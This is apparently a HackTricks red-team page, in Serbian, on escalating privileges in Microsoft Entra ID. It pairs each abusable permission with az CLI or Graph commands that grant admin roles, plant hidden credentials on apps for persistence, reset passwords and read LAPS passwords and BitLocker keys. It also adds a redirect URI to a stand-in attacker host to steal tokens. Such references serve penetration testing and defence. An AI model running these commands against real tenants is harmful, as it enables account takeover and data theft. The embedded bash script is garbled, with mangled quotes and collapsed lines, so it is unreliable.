Az - EntraID Privesc

Tip

Nauči & vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Note

Imajte u vidu da neke granularne dozvole koje ugrađene role imaju u Entra ID nisu podobne za korišćenje u custom rolama.

Uloge

Uloga: Privileged Role Administrator

Ova uloga sadrži neophodne granularne dozvole koje omogućavaju dodeljivanje uloga principalima i dodeljivanje dodatnih dozvola ulogama. Obe radnje mogu biti zloupotrebljene za eskalaciju privilegija.

  • Dodeli ulogu korisniku:
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"

# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
  • Dodajte više dozvola za ulogu:
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'

# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'

Aplikacije

microsoft.directory/applications/credentials/update

Ovo omogućava napadaču da doda kredencijale (lozinke ili sertifikate) postojećim aplikacijama. Ako aplikacija ima privilegovane dozvole, napadač se može autentifikovati kao ta aplikacija i steći te privilegije.

# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert

microsoft.directory/applications.myOrganization/credentials/update

Ovo omogućava iste radnje kao applications/credentials/update, ali je ograničeno na aplikacije u jednoj direktoriji.

az ad app credential reset --id <appId> --append

microsoft.directory/applications/owners/update

Dodavanjem sebe kao vlasnika, napadač može manipulisati aplikacijom, uključujući credentials i permissions.

az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append

# You can check the owners with
az ad app owner list --id <appId>

microsoft.directory/applications/allProperties/update

Napadač može da doda redirect URI aplikacijama koje koriste korisnici tenant-a, a zatim im podeli login URLs koje koriste novi redirect URL kako bi ukrao njihove tokens. Imajte na umu da, ako je korisnik već prijavljen u aplikaciju, authentication će biti automatska bez potrebe da korisnik išta prihvata.

Napomena da je moguće i promeniti permissions koje aplikacija zahteva kako bi dobila više privilegija, ali u tom slučaju korisnik će morati ponovo da prihvati prompt koji traži sve permissions.

# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"

Eskalacija privilegija aplikacija

As explained in this post bilo je veoma često pronaći podrazumevane aplikacije kojima su dodeljene API permissions tipa Application.

An API Permission (kako je nazvano u Entra ID console) tipa Application znači da aplikacija može pristupiti API-ju i izvršavati radnje bez korisničkog konteksta (bez korisničkog logovanja u aplikaciju), i bez potrebe za Entra ID roles da bi joj to omogućilo. Zbog toga je vrlo često pronaći visokoprivilegovane aplikacije u svakom Entra ID tenant-u.

Onda, ako napadač ima bilo koju dozvolu/rolu koja mu omogućava da update the credentials (secret o certificate) of the application, napadač može generisati novi credential i potom ga iskoristiti da se authenticate as the application, stičući sve dozvole koje aplikacija ima.

Napomena: pomenuti blog deli neke API permissions uobičajenih Microsoft default aplikacija; međutim, neko vreme nakon tog izveštaja Microsoft je otklonio ovaj problem i sada više nije moguće login-ovati se kao Microsoft applications. Ipak, i dalje je moguće pronaći custom applications with high privileges that could be abused.

How to enumerate the API permissions of an application:

# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]

## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv

## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
Pronađi sve API dozvole aplikacija i označi Microsoft-ove API-je ```bash #!/usr/bin/env bash set -euo pipefail

Known Microsoft first-party owner organization IDs.

MICROSOFT_OWNER_ORG_IDS=( “f8cdef31-a31e-4b4a-93e4-5f571e91255a” “72f988bf-86f1-41af-91ab-2d7cd011db47” )

is_microsoft_owner() { local owner=“$1” local id for id in “${MICROSOFT_OWNER_ORG_IDS[@]}”; do if [ “$owner” = “$id” ]; then return 0 fi done return 1 }

get_permission_value() { local resource_app_id=“$1” local perm_type=“$2” local perm_id=“$3” local key value key=“${resource_app_id}|${perm_type}|${perm_id}”

value=“$(awk -F ‘\t’ -v k=”$key“ ‘$1==k {print $2; exit}’ “$tmp_perm_cache”)“ if [ -n “$value” ]; then printf ‘%s\n’ “$value” return 0 fi

if [ “$perm_type” = “Scope” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “oauth2PermissionScopes[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ elif [ “$perm_type” = “Role” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “appRoles[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ else value=“” fi

[ -n “$value” ] || value=“UNKNOWN” printf ‘%s\t%s\n’ “$key” “$value” >> “$tmp_perm_cache” printf ‘%s\n’ “$value” }

command -v az >/dev/null 2>&1 || { echo “az CLI not found” >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo “jq not found” >&2; exit 1; } az account show >/dev/null

apps_json=“$(az ad app list –all –query ‘[?length(requiredResourceAccess) > 0].[displayName,appId,requiredResourceAccess]’ -o json)”

tmp_map=“$(mktemp)” tmp_ids=“$(mktemp)” tmp_perm_cache=“$(mktemp)” trap ‘rm -f “$tmp_map” “$tmp_ids” “$tmp_perm_cache”’ EXIT

Build unique resourceAppId values used by applications.

jq -r ‘.[][2][]?.resourceAppId’ <<<“$apps_json” | sort -u > “$tmp_ids”

Resolve resourceAppId -> owner organization + API display name.

while IFS= read -r rid; do [ -n “$rid” ] || continue sp_json=“$(az ad sp show –id “$rid” –query ‘{owner:appOwnerOrganizationId,name:displayName}’ -o json 2>/dev/null || true)“ owner=“$(jq -r ‘.owner // “UNKNOWN”’ <<<“$sp_json”)“ name=“$(jq -r ‘.name // “UNKNOWN”’ <<<“$sp_json”)“ printf ‘%s\t%s\t%s\n’ “$rid” “$owner” “$name” >> “$tmp_map” done < “$tmp_ids”

echo -e “appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions”

Print all app API permissions and mark if the target API is Microsoft-owned.

while IFS= read -r row; do app_name=“$(jq -r ‘.[0]’ <<<”$row“)“ app_id=“$(jq -r ‘.[1]’ <<<”$row“)“

while IFS= read -r rra; do resource_app_id=“$(jq -r ‘.resourceAppId’ <<<”$rra“)“ map_line=“$(awk -F ‘\t’ -v id=”$resource_app_id“ ‘$1==id {print; exit}’ “$tmp_map”)“ owner_org=“$(awk -F’\t’ ‘{print $2}’ <<<”$map_line“)“ resource_name=“$(awk -F’\t’ ‘{print $3}’ <<<”$map_line“)“

[ -n “$owner_org” ] || owner_org=“UNKNOWN” [ -n “$resource_name” ] || resource_name=“UNKNOWN”

if is_microsoft_owner “$owner_org”; then is_ms=“true” else is_ms=“false” fi

permissions_csv=“” while IFS= read -r access; do perm_type=“$(jq -r ‘.type’ <<<”$access“)“ perm_id=“$(jq -r ‘.id’ <<<”$access“)“ perm_value=“$(get_permission_value “$resource_app_id” “$perm_type” “$perm_id”)“ perm_label=“${perm_type}:${perm_value}” if [ -z “$permissions_csv” ]; then permissions_csv=“$perm_label” else permissions_csv=“${permissions_csv},${perm_label}” fi done < <(jq -c ‘.resourceAccess[]’ <<<“$rra”)

echo -e “${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}” done < <(jq -c ‘.[2][]’ <<<“$row”) done < <(jq -c ‘.[]’ <<<“$apps_json”)

</details>

## Service Principals

### `microsoft.directory/servicePrincipals/credentials/update`

Ovo omogućava napadaču da doda credentials postojećim service principals. Ako service principal ima povišene privilegije, napadač može preuzeti te privilegije.
```bash
az ad sp credential reset --id <sp-id> --append

Caution

Nova generisana lozinka se neće pojaviti u web konzoli, pa ovo može biti prikriven način za održavanje persistence nad service principal-om.
Iz API-ja se mogu pronaći sa: az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json

Ako dobijete grešku "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid." to je zato što nije moguće izmeniti svojstvo passwordCredentials SP-a i prvo ga morate otključati. Za to vam je potrebna dozvola (microsoft.directory/applications/allProperties/update) koja vam omogućava da izvršite:

az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'

microsoft.directory/servicePrincipals/synchronizationCredentials/manage

Ovo omogućava napadaču da doda kredencijale postojećim service principals. Ako service principal ima povišene privilegije, napadač može preuzeti te privilegije.

az ad sp credential reset --id <sp-id> --append

microsoft.directory/servicePrincipals/owners/update

Slično aplikacijama, ova dozvola omogućava dodavanje više vlasnika service principala. Posedovanje service principala omogućava kontrolu nad njegovim kredencijalima i dozvolama.

# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"

az ad sp credential reset --id <sp-id> --append

# You can check the owners with
az ad sp owner list --id <spId>

Caution

Nakon dodavanja novog vlasnika, pokušao sam da ga uklonim, ali je API odgovorio da DELETE method nije podržan, čak iako je to metoda koju morate koristiti da biste obrisali vlasnika. Dakle, sada ne možete ukloniti vlasnike.

microsoft.directory/servicePrincipals/disable and enable

Ove dozvole omogućavaju onemogućavanje i omogućavanje service principals. Napadač bi mogao iskoristiti ovu dozvolu da omogući service principal za koji bi na neki način dobio pristup, kako bi eskalirao privilegije.

Imajte na umu da će za ovu tehniku napadač trebati dodatne dozvole da bi preuzeo kontrolu nad omogućenim service principal-om.

# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false

# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true

microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials & microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials

Ove dozvole omogućavaju kreiranje i dobijanje kredencijala za single sign-on, što može omogućiti pristup aplikacijama trećih strana.

# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"


# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"

Grupe

microsoft.directory/groups/allProperties/update

Ovo dopuštenje omogućava dodavanje korisnika u privilegovane grupe, što može dovesti do privilege escalation.

az ad group member add --group <GroupName> --member-id <UserId>

Napomena: Ovo dopuštenje isključuje Entra ID role-assignable groups.

microsoft.directory/groups/owners/update

Ovo dopuštenje omogućava da postanete vlasnik grupa. Vlasnik grupe može kontrolisati članstvo i podešavanja grupe, što može potencijalno dovesti do eskalacije privilegija nad grupom.

az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>

Napomena: Ova dozvola isključuje Entra ID role-assignable groups.

microsoft.directory/groups/members/update

Ova dozvola omogućava dodavanje članova u grupu. Napadač može dodati sebe ili zlonamerne naloge u privilegovane grupe, što može omogućiti povišeni pristup.

az ad group member add --group <GroupName> --member-id <UserId>

microsoft.directory/groups/dynamicMembershipRule/update

Ovo dopuštenje omogućava ažuriranje pravila članstva u dinamičkoj grupi. Napadač može izmeniti dinamička pravila kako bi sebe uključio u privilegovane grupe bez eksplicitnog dodavanja.

groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'

Napomena: Ovo dozvoljenje isključuje Entra ID role-assignable groups.

Dynamic Groups Privesc

Moguće je da korisnici eskaliraju privilegije modifikovanjem sopstvenih svojstava kako bi bili dodati kao članovi dynamic groups. Za više informacija pogledajte:

Az - Dynamic Groups Privesc

Korisnici

microsoft.directory/users/password/update

Ovo dozvoljenje omogućava resetovanje lozinke korisnicima koji nisu admini, što potencijalnom napadaču omogućava eskalaciju privilegija na druge korisnike. Ovo dozvoljenje ne može biti dodeljeno prilagođenim rolama.

az ad user update --id <user-id> --password "kweoifuh.234"

microsoft.directory/users/basic/update

Ovo ovlašćenje omogućava izmene svojstava korisnika. Često se nalaze dinamičke grupe koje dodaju korisnike na osnovu vrednosti svojstava, stoga bi ova dozvola mogla omogućiti korisniku da postavi potrebnu vrednost svojstva da bi postao član određene dinamičke grupe i eskalirao privilegije.

#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'

#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"

Conditional Access Policies & MFA bypass

Pogrešno konfigurisane conditional access policies koje zahtevaju MFA mogu se zaobići; proveri:

Az - Conditional Access Policies & MFA Bypass

Uređaji

microsoft.directory/devices/registeredOwners/update

Ova dozvola omogućava napadačima da sebi dodele ulogu vlasnika uređaja kako bi stekli kontrolu ili pristup podešavanjima i podacima specifičnim za uređaj.

deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/devices/registeredUsers/update

Ovo ovlašćenje omogućava napadačima da povežu svoj nalog sa uređajima kako bi stekli pristup ili zaobišli sigurnosne politike.

deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/deviceLocalCredentials/password/read

Ova dozvola omogućava napadačima da pročitaju osobine sačuvanih kredencijala lokalnog administratorskog naloga za uređaje pridružene Microsoft Entra, uključujući lozinku

# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"

# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \

BitlockerKeys

microsoft.directory/bitlockerKeys/key/read

Ova dozvola omogućava pristup BitLocker ključevima, što bi napadaču moglo omogućiti dešifrovanje diskova i time ugroziti poverljivost podataka.

# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"

# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"

Ostale zanimljive dozvole (TODO)

  • microsoft.directory/applications/permissions/update
  • microsoft.directory/servicePrincipals/permissions/update
  • microsoft.directory/applications.myOrganization/allProperties/update
  • microsoft.directory/applications/allProperties/update
  • microsoft.directory/servicePrincipals/appRoleAssignedTo/update
  • microsoft.directory/applications/appRoles/update
  • microsoft.directory/applications.myOrganization/permissions/update

Tip

Nauči & vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks